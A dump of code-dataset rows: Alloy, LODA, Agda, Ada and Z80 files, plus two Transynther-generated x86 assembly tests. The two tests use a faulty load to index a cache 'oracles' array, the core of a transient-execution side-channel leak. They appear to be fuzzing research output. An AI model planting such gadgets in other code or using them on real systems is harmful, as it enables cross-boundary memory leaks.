max_stars_repo_path stringlengths 4 261 | max_stars_repo_name stringlengths 6 106 | max_stars_count int64 0 38.8k | id stringlengths 1 6 | text stringlengths 7 1.05M |
|---|---|---|---|---|
PracticalClasses/TP7/tutorial_structural_design.als | pemesteves/MFES_2021 | 0 | 2967 | <gh_stars>0
abstract sig Object {}
/*
sig File in Object {}
sig Dir in Object {}
fact {
no File & Dir // A File can't be a Dir and a Dir can't be a File
Object = File + Dir // An Object is a File or a Dir
}
*/
sig Name {}
sig Entry {
name : one Name,
content : one Object
}
sig File extends Object {}
sig Dir extends Object {
entries : set Entry
}
//check { no File & Dir } to check that the first fact is redundant
one sig Root extends Dir {}
fact {
// Entries cannot be shared between directories
all x,y : Dir | x != y implies no (x.entries & y.entries)
// all disj x,y : Dir | no (x.entries & y.entries)
// all e : Entry | lone entries.e
// entries in Dir lone -> Entry
// Different entries in the same directory must have different names
all d : Dir, disj x, y : d.entries | x.name != y.name
// all d : Dir, n : Name | lone (d.entries & name.n)
// Directories cannot contain themselves
// all d : Dir | d not in d.entries.content
all d : Dir | d not in d.^(entries.content)
// Entries must belong to exactly one a directory
entries in Dir one -> Entry
// Every object except the root is contained somewhere
Entry.content = Object - Root
// Content is injective
content in Entry lone -> Object
}
assert no_partitions {
// Every object is reachable from the root
Object-Root = Root.^(entries.content)
}
check no_partitions for 6
run example {
some File
some Dir-Root
} for 4 |
oeis/052/A052653.asm | neoneye/loda-programs | 11 | 242142 | ; A052653: E.g.f. (1-2x^2)/(1-x-2x^2).
; Submitted by <NAME>(s4)
; 1,1,2,18,120,1320,15120,216720,3427200,62052480,1237420800,27263174400,653837184000,17005993804800,476080648243200,14283727121664000,457058345103360000,15540339420942336000
mov $3,1
lpb $0
mul $2,2
add $3,$1
mov $1,$0
sub $0,1
mul $3,$1
mul $1,$2
mov $2,$3
lpe
mov $0,$3
|
programs/oeis/023/A023562.asm | neoneye/loda | 22 | 80672 | <filename>programs/oeis/023/A023562.asm
; A023562: Convolution of A023531 and odd numbers.
; 0,1,3,5,8,12,16,20,25,31,37,43,49,56,64,72,80,88,96,105,115,125,135,145,155,165,176,188,200,212,224,236,248,260,273,287,301,315,329,343,357,371,385,400,416,432,448,464,480,496,512,528,544,561
lpb $0
add $1,$0
sub $0,1
add $1,$0
trn $2,1
add $2,2
trn $0,$2
lpe
mov $0,$1
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1594.asm | ljhsiun2/medusa | 9 | 91996 | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x8c89, %rdi
xor %rsi, %rsi
movups (%rdi), %xmm1
vpextrq $1, %xmm1, %r9
nop
nop
nop
nop
nop
sub %rax, %rax
lea addresses_WC_ht+0x9efd, %rdi
nop
nop
nop
sub $49842, %rbx
mov $0x6162636465666768, %rdx
movq %rdx, %xmm6
vmovups %ymm6, (%rdi)
nop
nop
nop
add %rdi, %rdi
lea addresses_A_ht+0xe4fd, %rax
nop
and %r14, %r14
mov (%rax), %ebx
add $10272, %r9
lea addresses_WT_ht+0x12efd, %rdx
nop
xor $3007, %rsi
movl $0x61626364, (%rdx)
nop
nop
add %r9, %r9
lea addresses_WT_ht+0xfafd, %rsi
lea addresses_normal_ht+0x5cfd, %rdi
xor %rbx, %rbx
mov $35, %rcx
rep movsb
nop
nop
cmp $51638, %rdi
lea addresses_A_ht+0xcefd, %rbx
inc %r14
movups (%rbx), %xmm6
vpextrq $1, %xmm6, %rcx
dec %rsi
lea addresses_UC_ht+0xf4fd, %rsi
lea addresses_D_ht+0x148fd, %rdi
sub %rbx, %rbx
mov $27, %rcx
rep movsb
nop
nop
nop
nop
and $45834, %rcx
lea addresses_WC_ht+0x146fd, %rsi
lea addresses_normal_ht+0x10bfd, %rdi
clflush (%rdi)
nop
nop
nop
nop
cmp $36224, %rdx
mov $127, %rcx
rep movsl
nop
nop
add %rcx, %rcx
lea addresses_A_ht+0x18f46, %rsi
lea addresses_D_ht+0x1eefd, %rdi
nop
nop
nop
nop
cmp %rdx, %rdx
mov $54, %rcx
rep movsb
nop
nop
nop
nop
sub $19428, %rsi
lea addresses_normal_ht+0x14a0b, %rdx
nop
nop
cmp $46288, %rsi
movb (%rdx), %al
nop
nop
nop
nop
xor %rsi, %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r15
push %rbx
push %rdi
push %rsi
// Faulty Load
lea addresses_RW+0x16efd, %rsi
nop
nop
nop
nop
nop
cmp $29281, %r15
mov (%rsi), %bx
lea oracles, %r15
and $0xff, %rbx
shlq $12, %rbx
mov (%r15,%rbx,1), %rbx
pop %rsi
pop %rdi
pop %rbx
pop %r15
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_RW', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_RW', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 2}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_WC_ht', 'congruent': 10}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 8}}
{'dst': {'same': True, 'NT': False, 'AVXalign': True, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 9}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_WT_ht'}}
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 16, 'type': 'addresses_A_ht', 'congruent': 11}}
{'dst': {'same': False, 'congruent': 9, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 7, 'type': 'addresses_UC_ht'}}
{'dst': {'same': False, 'congruent': 8, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_WC_ht'}}
{'dst': {'same': True, 'congruent': 11, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 0}}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
test/Compiler/simple/Coinduction2.agda | xekoukou/agda-ocaml | 7 | 17492 | open import Common.IO
open import Common.Unit
open import Common.String
open import Common.Nat
record Stream (A : Set) : Set where
coinductive
field
head : A
tail : Stream A
open Stream public
repeat : Stream String
head repeat = "hello"
tail repeat = repeat
lookup : ∀ {A} → Stream A → Nat → A
lookup xs zero = xs .head
lookup xs (suc n) = lookup (xs .tail) n
main : IO Unit
main = putStr (lookup repeat 1000000)
|
src/text.asm | howprice/specnext-invaders | 17 | 247330 | ;
; Prints a single character out to a screen address
; A = Character to print
; D = Character Y position
; E = Character X position
; Modifies: AF, BC, DE, HL
;
PrintChar:
ld hl, 0x3C00 ; Character set bitmap data in ROM
ld b,0 ; BC = character code
ld c,a
; Multiply BC by 8 by shifting left 3 bits
sla c ; lsb = 0, carry flag = msb
rl b ; lsb = carry flag from preceding SLA
sla c
rl b
sla c
rl b
add hl,bc ; And add to HL to get first byte of character
call GetCharAddress ; Get screen position in DE
ld b,8 ; Loop counter - 8 bytes per character
.loop: ld a,(hl) ; Get the byte from the ROM into A
ld (de),a ; write to screen RAM
inc hl ; Goto next byte of character
inc d ; Goto next line on screen
djnz .loop ; Loop around whilst it is Not Zero (NZ)
ret
;
; Calculates the screen address of a character (X,Y) coordinate
; D = Y character position [0,23] (5 bits)
; E = X character position [0,31] (5 bits)
; DE <- screen address
; Modifies: af
;
; The screen address of a pixel, where Y in pixels and X in *bytes* is encoded as:
; MSB | LSB
; Bit 7 6 5 4 3 2 1 0 | 7 6 5 4 3 2 1 0
; Val 0 1 0 Y7 Y6 Y2 Y1 Y0 | Y5 Y4 Y3 X4 X3 X2 X1 X0 where X in chars and Y in pixels
;
; Characters are 8x8, so positioning on 8x8 grid Y2 Y1 Y0 will all be zero
; MSB | LSB
; Bit 7 6 5 4 3 2 1 0 | 7 6 5 4 3 2 1 0
; Val 0 1 0 Y7 Y6 0 0 0 | Y5 Y4 Y3 X4 X3 X2 X1 X0 where X in chars and Y in pixels
;
; Y pixel coord = Y char coord >> 3
; MSB | LSB
; Bit 7 6 5 4 3 2 1 0 | 7 6 5 4 3 2 1 0
; Val 0 1 0 Y4 Y3 0 0 0 | Y2 Y1 Y0 X4 X3 X2 X1 X0 where both X and Y in char coords
;
; http://www.breakintoprogram.co.uk/computers/zx-spectrum/screen-memory-layout
;
GetCharAddress:
; LSB
ld a,d ; A = Y in char coords
and %00000111 ; A = Y2 Y1 Y0 char coords, resets CF
; shift left 5 bits by shifting right 4 bits with carry (save one instruction!)
rra ; RRA rotates with carry in and out
rra
rra
rra ; A = Y2 Y1 Y0 0 0 0 0 0
or e ; A = Y2 Y1 Y0 X4 X3 X2 X1 X0
ld e,a ; E = Y2 Y1 Y0 X4 X3 X2 X1 X0
; MSB
ld a,d ; A = Y char coords
and %00011000 ; A = 0 0 0 Y4 Y3 0 0 0 (char coords)
or %01000000 ; A = 0 1 0 Y4 Y3 0 0 0 (char coords)
ld d,a ; D = 0 1 0 Y4 Y3 0 0 0 (char coords)
ret
;
; Prints a null terminated string to a screen address (char coords)
; HL = Address of string
; D = Character Y position
; E = Character X position
; Modifies: AF, BC, DE, HL
;
PrintString:
ld a, (hl) ; Get character
cp 0 ; null terminator?
ret z ; yes - return
cp 32 ; CP A with 32 (space character)
jr c, PrintString ; If < 32, then don't ouput
push de ; Save screen coordinates
push hl ; And pointer to text string
call PrintChar
pop hl ; Pop pointer to text string
pop de ; Pop screen coordinates
inc hl ; Skip to next character in string
inc e ; Inc to the next character position on screen
jr PrintString ; next char
;
; Clears a horizontal strip of characters
; E = char coord x
; D = char coord y
; B = char count (string length)
;
ClearText:
call GetCharAddress ; DE <- ULA pixel coordinate
ld h,d ; H <- screen address MSB
xor a ; A <- 0
.charLoop ; B = char loop counter
ld c,b ; C <- char loop counter
ld b,8 ; loopY counter = character height = 8 pixels
.loopY ld (de),a ; clear row of 8 pixels
inc d ; next line on screen
djnz .loopY
ld d,h ; D <- initial MSB
inc e ; next character to the right
ld b,c ; B <- char loop counter
djnz .charLoop
ret
;
; A = decimal value to print [0,9]
; D = character Y position
; E = character X position
; Modifies: AF, BC, DE, HL
;
PrintDecimalNibble:
add a,'0' ; convert numeric value to character code
call PrintChar
ret
;
; Prints the two nibbles in a byte as BCD digits to the screen.
; If the nibble values are > 9 then garbage is printed.
;
; a = value
; d = character Y position
; e = character X position
; Modifies: af, bc, de, hl
;
PrintDecimalByte:
; print upper nibble
push af
rrca ; a >>= 4
rrca
rrca
rrca
and $0f ; mask out lower nibble
push de
call PrintDecimalNibble
pop de
; print lower nibble
pop af ; restore original BCD byte
and $0f ; mask out lower nibble
inc e ; advance character position
call PrintDecimalNibble
ret
;
; Prints two bytes (4 nibbles) as BCD digits to the screen
; a = MSB
; b = LSB
; d = character Y position
; e = character X position
; Modifies: af, bc, de, hl
;
PrintDecimalWord:
push de
push bc
call PrintDecimalByte
pop bc
pop de
ld a,e ; advance char x pos
add a,$2
ld e,a
ld a,b ; A = LSB
call PrintDecimalByte
ret
|
Ada/inc/Problem_67.ads | Tim-Tom/project-euler | 0 | 5394 | package Problem_67 is
procedure Solve;
end Problem_67;
|
libsrc/_DEVELOPMENT/target/sms/driver/terminal/sms_01_output_terminal_tty_z88dk/sms_01_output_terminal_tty_z88dk_23_atr.asm | jpoikela/z88dk | 640 | 82354 |
SECTION code_driver
SECTION code_driver_terminal_output
PUBLIC sms_01_output_terminal_tty_z88dk_23_atr
sms_01_output_terminal_tty_z88dk_23_atr:
; atr dx,dy
; de = parameters *
ld a,(de) ; biased dy
inc de
sub 0x80 ; dy
add a,(ix+15) ; + y
ld (ix+15),a
ld a,(de) ; biased dx
sub 0x80 ; dx
add a,(ix+14) ; + x
ld (ix+14),a
ret
|
oeis/326/A326040.asm | neoneye/loda-programs | 11 | 97751 | <filename>oeis/326/A326040.asm
; A326040: a(n) = sigma(n) - A008833(sigma(n)).
; Submitted by <NAME>
; 0,2,0,6,5,8,4,14,12,9,8,24,13,20,20,30,9,38,16,41,16,0,20,56,30,41,36,52,29,36,16,54,32,45,32,90,37,56,52,81,41,80,40,80,77,36,32,120,56,92,36,49,45,116,36,116,64,81,56,164,61,80,100,126,80,0,64,117,80,0,36,194,73,113,120,136,80,164,64,185,0,117,80,208,72,128,116,144,81,225,96,164,64,0,116,216,49,162,152,216
seq $0,203 ; a(n) = sigma(n), the sum of the divisors of n. Also called sigma_1(n).
sub $0,1
seq $0,326055 ; a(n) = n - {the largest square that divides n}.
|
source/numerics/required/s-fatflt.adb | ytomino/drake | 33 | 21718 | package body System.Fat_Flt is
function frexp (value : Float; exp : access Integer)
return Float
with Import,
Convention => Intrinsic, External_Name => "__builtin_frexpf";
function inf return Float
with Import, Convention => Intrinsic, External_Name => "__builtin_inff";
function isfinite (X : Float) return Integer
with Import,
Convention => Intrinsic, External_Name => "__builtin_isfinite";
pragma Warnings (Off, isfinite); -- [gcc 4.6] excessive prototype checking
package body Attr_Float is
function Compose (Fraction : Float; Exponent : Integer) return Float is
begin
return Scaling (Attr_Float.Fraction (Fraction), Exponent);
end Compose;
function Exponent (X : Float) return Integer is
Result : aliased Integer;
Dummy : Float;
begin
Dummy := frexp (X, Result'Access);
return Result;
end Exponent;
function Fraction (X : Float) return Float is
Dummy : aliased Integer;
begin
return frexp (X, Dummy'Access);
end Fraction;
function Leading_Part (X : Float; Radix_Digits : Integer) return Float is
S : constant Integer := Radix_Digits - Exponent (X);
begin
return Scaling (Truncation (Scaling (X, S)), -S);
end Leading_Part;
function Machine (X : Float) return Float is
begin
return Float (Long_Long_Float (X)); -- ???
end Machine;
function Pred (X : Float) return Float is
begin
return Adjacent (X, -inf);
end Pred;
function Succ (X : Float) return Float is
begin
return Adjacent (X, inf);
end Succ;
function Unbiased_Rounding (X : Float) return Float is
begin
return X - Remainder (X, 1.0);
end Unbiased_Rounding;
function Valid (X : not null access Float) return Boolean is
begin
return isfinite (X.all) /= 0;
end Valid;
end Attr_Float;
end System.Fat_Flt;
|
Transynther/x86/_processed/NONE/_ht_zr_/i9-9900K_12_0xa0.log_21829_435.asm | ljhsiun2/medusa | 9 | 667 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r13
push %r14
push %r15
push %r9
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x16f1b, %r14
nop
sub %r9, %r9
movl $0x61626364, (%r14)
nop
xor %r13, %r13
lea addresses_WT_ht+0x15943, %rsi
lea addresses_WT_ht+0x19143, %rdi
nop
nop
nop
nop
and $40724, %r15
mov $6, %rcx
rep movsw
nop
sub $60053, %r15
lea addresses_WC_ht+0x188d3, %rsi
lea addresses_UC_ht+0x19a3f, %rdi
nop
nop
nop
nop
add $50078, %r14
mov $36, %rcx
rep movsw
nop
nop
nop
nop
nop
dec %r13
lea addresses_normal_ht+0x7a43, %r9
nop
nop
nop
nop
nop
cmp $28173, %r15
movups (%r9), %xmm1
vpextrq $0, %xmm1, %rsi
add $31793, %rdi
lea addresses_normal_ht+0x13943, %r13
nop
nop
sub %rcx, %rcx
movups (%r13), %xmm4
vpextrq $1, %xmm4, %rsi
nop
nop
lfence
lea addresses_A_ht+0xb143, %rsi
lea addresses_normal_ht+0x16993, %rdi
nop
nop
nop
xor %r15, %r15
mov $109, %rcx
rep movsl
and %r14, %r14
lea addresses_UC_ht+0xb343, %r9
nop
and $57517, %rdi
movb $0x61, (%r9)
nop
nop
dec %r9
lea addresses_UC_ht+0x1ad03, %r13
nop
nop
and %rdi, %rdi
mov (%r13), %rsi
nop
nop
nop
inc %r13
pop %rsi
pop %rdi
pop %rcx
pop %r9
pop %r15
pop %r14
pop %r13
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %r8
push %rax
push %rcx
push %rdx
// Store
mov $0x1816d70000000c63, %rcx
nop
nop
nop
nop
nop
sub %r13, %r13
movw $0x5152, (%rcx)
nop
nop
nop
nop
xor %r8, %r8
// Faulty Load
lea addresses_WT+0x8143, %rdx
nop
cmp $29109, %rax
movups (%rdx), %xmm4
vpextrq $1, %xmm4, %r8
lea oracles, %r15
and $0xff, %r8
shlq $12, %r8
mov (%r15,%r8,1), %r8
pop %rdx
pop %rcx
pop %rax
pop %r8
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_NC', 'AVXalign': False, 'size': 2}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_WT', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 3, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 4}}
{'src': {'same': False, 'congruent': 11, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}}
{'src': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_UC_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 10, 'type': 'addresses_A_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 3, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 1}}
{'src': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'44': 14805, '45': 79, '00': 6945}
00 44 45 44 44 44 44 44 44 00 00 45 44 44 00 00 44 44 44 44 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 44 00 44 44 44 00 00 44 44 44 00 44 44 44 44 00 00 44 44 44 44 00 44 44 44 00 00 44 44 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 44 00 44 44 44 44 44 44 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 44 00 44 44 44 00 00 44 44 44 00 44 44 44 44 00 00 44 44 44 00 00 44 44 44 44 00 44 44 44 00 00 44 44 44 44 00 44 00 44 44 44 00 44 44 44 44 44 00 44 44 44 44 44 00 00 44 44 44 44 44 00 44 44 44 44 44 44 44 44 44 44 44 44 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 44 00 00 00 44 44 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 44 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 44 00 44 44 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 44 00 00 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 44 44 44 44 44 44 44 44 00 00 44 44 44 44 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 44 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 44 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 44 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 44 44 44 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 44 44 44 44 44 00 44 44 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 44 00 44 44 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 00 44 44 44 00 00 44 44 44 44 00 44 00 44 44 44 00 00 44 44 44 44 44 44 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 44 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 44 44 44 44 00 00 00 44 44 44 00 44 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 44 44 44 00 00 44 44 44 00 00 44 44 44 00 00 44 44 44 44 00 44 44 44 00 00 44 44 44
*/
|
SeparationLogic.agda | iwilare/imp-semantics | 6 | 1910 | <gh_stars>1-10
open import Data.Nat using (ℕ; _+_) renaming (_≤?_ to _≤?ₙ_)
open import Data.Bool using (Bool; true; false; not; _∧_)
open import Data.String using (String)
open import Data.Sum using (_⊎_; [_,_]; inj₁; inj₂)
open import Relation.Binary using (Decidable)
open import Relation.Nullary using (yes; no; ¬_)
open import Relation.Nullary.Negation using (contradiction)
open import Data.List using (List; []; _∷_)
open import Relation.Nullary.Decidable using (⌊_⌋)
open import Data.Empty using (⊥-elim)
open import Data.Product using (_×_; -,_; _-,-_; ∃; ∃-syntax) renaming (_,_ to _,,_)
open import Relation.Binary.PropositionalEquality using (_≡_; refl; sym)
open import Level using (Level; suc; _⊔_)
open import Agda.Builtin.Sigma hiding (_,_) -- renaming (_,_ to _,,_)
open import Data.Maybe using (Maybe; just; nothing; Is-just)
import Relation.Binary.PropositionalEquality as Eq
open import IMP hiding (com; state) ---using (aexp; aval; bexp; bval)
postulate
_≟_ : Decidable {A = ℕ} _≡_
addr = ℕ
heap = addr → Maybe val
store = vname → val
state = store × heap
assn : ∀{l} → Set (suc l)
assn {a} = store → heap → Set a
emp : assn
emp _ h = ∀ a → h a ≡ nothing
_⊢>_ : IMP.aexp → IMP.aexp → assn
_⊢>_ a a′ s h = h (aval a s) ≡ just (aval a′ s)
× ∀ (a″) → ¬(a″ ≡ aval a s) → h a″ ≡ nothing
_⊆_ : heap → heap → Set
h₀ ⊆ h = ∀ a → (h a ≡ nothing → h₀ a ≡ nothing)
× (∀{o} → h₀ a ≡ just o → h₀ a ≡ h a)
heap-union : heap → heap → heap → addr → Set
heap-union h h₁ h₂ a with h a
... | just o = (h₁ a ≡ just o × h₂ a ≡ nothing)
⊎ (h₁ a ≡ nothing × h₂ a ≡ just o)
... | nothing = h₁ a ≡ nothing × h₂ a ≡ nothing
_∼_⊥_ : heap → heap → heap → Set
h ∼ h₁ ⊥ h₂ = ∀ a → heap-union h h₁ h₂ a
union-subset : ∀ h {h₁ h₂}
→ h ∼ h₁ ⊥ h₂
→ h₁ ⊆ h
union-subset h x a with h a | x a
union-subset h x a | just x₁ | inj₁ (fst₁ ,, snd₁) = (λ ()) ,, (λ {x} x₁ → fst₁)
union-subset h x a | just x₁ | inj₂ (fst₁ ,, snd₁) rewrite fst₁ = (λ _ → refl) ,, (λ {x} ())
union-subset h x a | nothing | fst₁ ,, snd₁ = (λ x → fst₁) ,, (λ {x} x₁ → fst₁)
_*_ : ∀{l} → assn {l} → assn {l} → assn {l}
_*_ P Q s h = ∃[ h₁ ] ∃[ h₂ ] ((h ∼ h₁ ⊥ h₂)
× P s h₁
× Q s h₂)
_dom_ : addr → heap → Set
a dom h = ∃[ v ] (h a ≡ just v)
_¬dom_ : addr → heap → Set
a ¬dom h = h a ≡ nothing
_[_::=ₕ_] : heap → addr → val → heap
